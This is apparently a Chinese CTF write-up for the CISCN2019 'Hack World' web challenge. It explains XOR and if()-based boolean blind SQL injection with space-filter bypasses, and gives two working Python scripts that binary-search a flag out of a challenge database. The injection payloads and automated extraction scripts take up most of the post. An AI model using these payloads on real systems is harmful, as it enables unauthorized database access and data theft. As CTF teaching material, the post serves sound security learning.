[CISCN2019 华北赛区 Day2 Web1]Hack World

题目:

用毕生所学操作二十多分钟后,发现空格等一大堆常用的全部过滤了,updatexml也过滤,extractvalue因为某种特殊的力量没有办法成功

看writeup

来了来了

新知识:异或

异或一般用 xor 或者 ^ 表示。

1^0=1

1^1=0

xor也一样。

回到题目:

这里会用到之前碰到过的一个语句:

if(exp1,stat1,stat2)        //当exp1为true的是否返回stat1,为false返回stat2。

这道题是这样:

所以这里可以考虑盲注一个个去猜flag,flag通常是数字,大小写字母,’-‘,以及 {} 组成。

例如:flag{123-abcD-du1ge}

考虑到可能有些奇奇怪怪的东西混进来,所以字符集确定为ascii可见字符32~126。

空格绕过可以用(),select flag -> select(flag)

思路1:

利用异或,利用已经给出的表名列名查找flag

因为0^0为假,返回0,0^1为真,返回1

payload:substr截取一个字符,转化成ascii码,与字符集里的ascii码做对比,如果相等则整个表达式为真返回1,不相等为假返回0。

判断方法:页面抓取html元素如果存在’Hello’则输出当前爆破的ascii码值

0^payload,若payload为真,则表达式为真,则页面有’Hello’这个html元素

若payload为假,则没有hello。

脚本:

#二分法查找
import requests
import time
url = 'http://92f36826-9030-4e2f-b09a-b56275d2553e.node3.buuoj.cn/index.php'
result = ''

for x in range(1,50):
    high = 127
    low = 32
    mid = (high+low)//2     #结果向下取整
    while high>low:
        payload = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(x,mid)    #格式化函数代入x,mid
        data = {"id":payload}
        html = requests.post(url,data=data).text     #抓取页面元素
        time.sleep(0.5)
        if "Hello" in html:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    result += chr(int(mid))     #类型转换,int通过chr返回当前数值对应ascii码值的字符
    print(result)
print("flag:",result) 

思路2:

利用已经给出的表名列名查找flag

然后substr截取一个字符,转化成ascii码,与字符集里的ascii码做对比,如果相等则 if 表达式为真返回1,不相等为假返回2。

判断方法:同样页面抓取html元素如果存在’Hello’则输出当前爆破的ascii码值

一个个爆破下来就是flag

所以:

if((ascii(substr((select(flag)from(flag)),x,1))=i),1,2)
//x为爆破到第几位
//i为字符集ascii码值
//若表达式成立则返回1,页面返回'Hello',返回2则继续爆破

脚本:

#二分法查找
import requests
import time
url = 'http://229e40be-53eb-4948-b03b-d2f925c69da1.node3.buuoj.cn/index.php'
result = ''

for x in range(1,50):
    high = 127
    low = 32
    mid = (high+low)//2     #结果向下取整
    while high>low:
        payload = "if((ascii(substr((select(flag)from(flag)),{0},1))>{1}),1,2)".format(x,mid)    #格式化函数代入x,mid
        data = {"id":payload}
        html = requests.post(url,data=data).text     #抓取页面元素
        time.sleep(0.5)
        if "Hello" in html:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    result += chr(int(mid))     #类型转换,int通过chr返回当前数值对应ascii码值的字符
    print(result)
print("flag:",result) 

总的来说,利用异或和 if 语句去 bool 判断然后硬猜 flag 的这个思路是真的nb。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇